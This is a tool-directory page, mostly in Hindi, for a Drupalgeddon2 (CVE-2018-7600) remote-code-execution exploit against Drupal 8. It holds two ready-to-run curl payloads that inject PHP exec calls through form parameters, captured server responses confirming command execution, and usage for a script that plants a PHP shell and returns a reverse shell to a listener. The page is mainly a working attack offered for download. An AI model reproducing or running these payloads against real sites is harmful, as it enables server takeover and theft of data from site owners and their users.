Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Drupalgeddon2 — CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE | Kitploit
उपकरण/GitHubGitHub/ruthvikvegunta/drupalgeddon2
पेलोड जनरेशनभेद्यता विश्लेषणशोषणशेलकोडवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubruthvikvegunta/drupalgeddon2

Drupalgeddon2

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE

रिपॉजिटरी देखें
46 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

इससे प्रेरित: https://github.com/dreadlocked/Drupalgeddon2


समर्थन:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, account/mail और #post_render पैरामीटर पर हमला करते हुए, PHP के passthru फ़ंक्शन का उपयोग करता है।
  • [लंबित] [अभी कोड नहीं किया गया] Drupal < 7.58 ~ user/password URL, triggering_element_name फ़ॉर्म और #post_render पैरामीटर पर हमला करते हुए, PHP के passthru फ़ंक्शन का उपयोग करता है।
  • वेब रूट (./) पर एक PHP शेल अपलोड करता है, और एक netcat लिसनर शुरू करता है; यह पेलोड को एक अलग थ्रेड में ट्रिगर करेगा और उपयोगकर्ता को रिवर्स शेल लौटाएगा।
  • Linux लक्ष्यों का समर्थन करता है
  • Drupal 7 या Drupal 8 का स्वतः पता लगाता है

PoC #1 - #post_render / account/mail / exec

  • यह user/register URL, #post_render पैरामीटर का उपयोग करता है, account/mail को लक्षित करते हुए, PHP के exec फ़ंक्शन का उपयोग करता है।
root@kitploit:~
  curl -k -i 'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'

सर्वर 200 प्रतिक्रिया देगा और JSON प्रदर्शित करेगा। यह प्रतिक्रिया में आउटपुट प्रस्तुत करने में सक्षम है (जैसे कि uname -a चलाना)।

उदाहरण

root@kitploit:~
[g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
HTTP/1.1 200 OK
Date: Wed, 18 Apr 2018 15:56:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.24
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 280
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
[g0tmi1k@attacker]$

PoC #2 - #lazy_builder / timezone/timezone / exec

  • यह user/register URL, #lazy_builder पैरामीटर का उपयोग करता है, timezone/timezone को लक्षित करते हुए, PHP के exec फ़ंक्शन का उपयोग करता है।
root@kitploit:~
  curl -k -i 'http://localhost/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'

सर्वर 500 प्रतिक्रिया देगा और "वेबसाइट में एक अप्रत्याशित त्रुटि हुई। कृपया बाद में पुनः प्रयास करें।" प्रदर्शित करेगा। यह प्रतिक्रिया में आउटपुट प्रस्तुत करने में सक्षम नहीं है (Blind!)।

उदाहरण

root@kitploit:~
[g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
HTTP/1.0 500 500 Service unavailable (with message)
Date: Wed, 18 Apr 2018 15:58:04 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.24
Cache-Control: no-cache, private
Content-Length: 74
Connection: close
Content-Type: text/html

The website encountered an unexpected error. Please try again later.<br />
[g0tmi1k@attacker]$


root@ubuntu140045x64-drupal:~# stat /tmp/2
  File: '/tmp/2'
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: fd01h/64769d	Inode: 59488       Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2018-04-18 15:58:05.061898957 +0000
Modify: 2018-04-18 15:58:05.061898957 +0000
Change: 2018-04-18 15:58:05.061898957 +0000
 Birth: -
root@ubuntu140045x64-drupal:~#

स्क्रिप्ट उपयोग:

Drupal 8 पर परीक्षण किया गया, Drupal 7 वाला एक्सप्लॉइट हिस्सा अभी तक कोड नहीं किया गया है

python3 drupalgeddon2.py -t http://xxx.xxx.xxx.xxx -l xxx.xxx.xxx.xxx -p xxxx

टूल डाउनलोड करें